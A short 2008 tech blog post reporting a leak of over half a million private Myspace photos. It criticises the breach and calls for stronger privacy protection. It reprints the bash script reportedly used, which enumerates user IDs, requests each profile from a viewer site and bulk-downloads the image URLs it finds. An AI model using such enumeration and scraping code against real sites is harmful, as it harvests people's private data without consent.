TechTalk

25/01/2008 In TechTalk by Brad Slavin

This may seem like random lines to a lot of you, but it is the code to the largest theft of private user data to date.


#! /bin/bash
a=$1
LIMIT=$2
dir=$3
for ((; a <= LIMIT ; a++))
do
curl -s -d user=$a http://myspaceprivateprofile.com/view.php > view$LIMIT
if [ `grep -o 'Pictures: [0-9]*’ view$LIMIT | awk ‘{ print $2 }’` -ne 0 ]
then
grep -o ‘http://[a-z0-9A-Z/._-]*.jpg’ view$LIMIT | wget -q -i - -P ./$dir/
echo $a >> listwpics
grep -o ‘http://[a-z0-9A-Z/._-]*.jpg’ view$LIMIT >> listwpics
echo $a
mv view$LIMIT ./html4/$a.html
fi
done
rm view$LIMIT

A 17-gigabyte file that contains more than half a million previously private images that were pick pocketed from Myspace is out in the wild and downloadable via BitTorrent. This privacy breach if true would be the largest security exploit on the web 2.0 social networking site.

It seems that Myspace has responded by patching the security holes, but thats like closing the barn door after the cows have escaped. To little to late.

With the amount of personal data that these site have, there should be a greater effort in enforcing user privacy and stiffer penalties for not protecting private data. This time it was just pictures, next time on a different site it could be credit card details or social security numbers.

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